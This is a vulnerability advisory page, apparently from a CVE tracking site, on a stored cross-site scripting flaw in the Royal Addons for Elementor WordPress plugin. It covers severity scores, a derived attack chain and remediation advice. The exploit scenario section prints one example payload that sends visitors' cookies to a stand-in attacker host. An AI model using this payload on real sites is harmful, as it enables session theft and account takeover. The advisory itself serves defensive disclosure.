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WordPress CVE-2026-5162

| EUVD-2026-23340 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-17 Wordfence
6.4
CVSS 3.1 · NVD
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NVD PRIMARY
6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

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CVSS VectorNVD

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

4
Analysis Generated
Apr 17, 2026 - 02:18 vuln.today
EUVD ID Assigned
Apr 17, 2026 - 02:15 euvd
EUVD-2026-23340
Analysis Generated
Apr 17, 2026 - 02:15 vuln.today
CVE Published
Apr 17, 2026 - 01:24 nvd
MEDIUM 6.4

DescriptionCVE.org

The Royal Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Instagram Feed widget's 'instagram_follow_text' setting in all versions up to, and including, 1.7.1056 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

AnalysisAI

Stored Cross-Site Scripting in Royal Addons for Elementor plugin versions up to 1.7.1056 allows authenticated attackers with Contributor-level access to inject arbitrary JavaScript via the Instagram Feed widget's 'instagram_follow_text' setting, executing malicious scripts whenever users view affected pages. The vulnerability stems from insufficient input sanitization and output escaping in the widget configuration handler. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Attacker compromises or gains Contributor account
Delivery
Access WordPress admin page editor
Exploit
Locate page with Instagram Feed widget
Install
Edit widget 'instagram_follow_text' setting with XSS payload
C2
Save widget without sanitization applied
Execute
Payload persisted in database
Impact
Visitors load page with malicious script
Step 8
Script executes in victim browsers
Step 9
Steal credentials or redirect users

Vulnerability AssessmentAI

Exploitation Exploitation requires three concrete, specific conditions: (1) the Royal Addons for Elementor plugin must be installed and activated on the WordPress site, (2) the attacker must possess or compromise a WordPress user account with at least Contributor-level role (Contributor, Editor, or Administrator), which grants permission to edit pages and access the Elementor page builder widget editor, and (3) a page or post must contain the Instagram Feed widget with the 'instagram_follow_text' setting rendered on the front-end (not in draft or trash). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The risk is moderate to moderately-high within WordPress environments running the plugin, but context-dependent. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with a compromised Contributor account (or granted legitimate Contributor access via social engineering) logs into WordPress admin, navigates to a page using the Instagram Feed widget, and edits the widget settings to inject malicious JavaScript into the 'instagram_follow_text' field (e.g., '<img src=x onerror="fetch(attacker.com?c='+document.cookie+')">Follow'). The payload is saved to the database without sanitization. …
Remediation Update Royal Addons for Elementor to the patched version released after 1.7.1056 (consult the WordPress plugin repository for the latest stable version, or monitor Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/16d083bc-d726-4291-bc6d-a7bf83fa78c3 for the specific fix version). … Detailed patch versions, workarounds, and compensating controls in full report.

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CVE-2026-5162 vulnerability details – vuln.today

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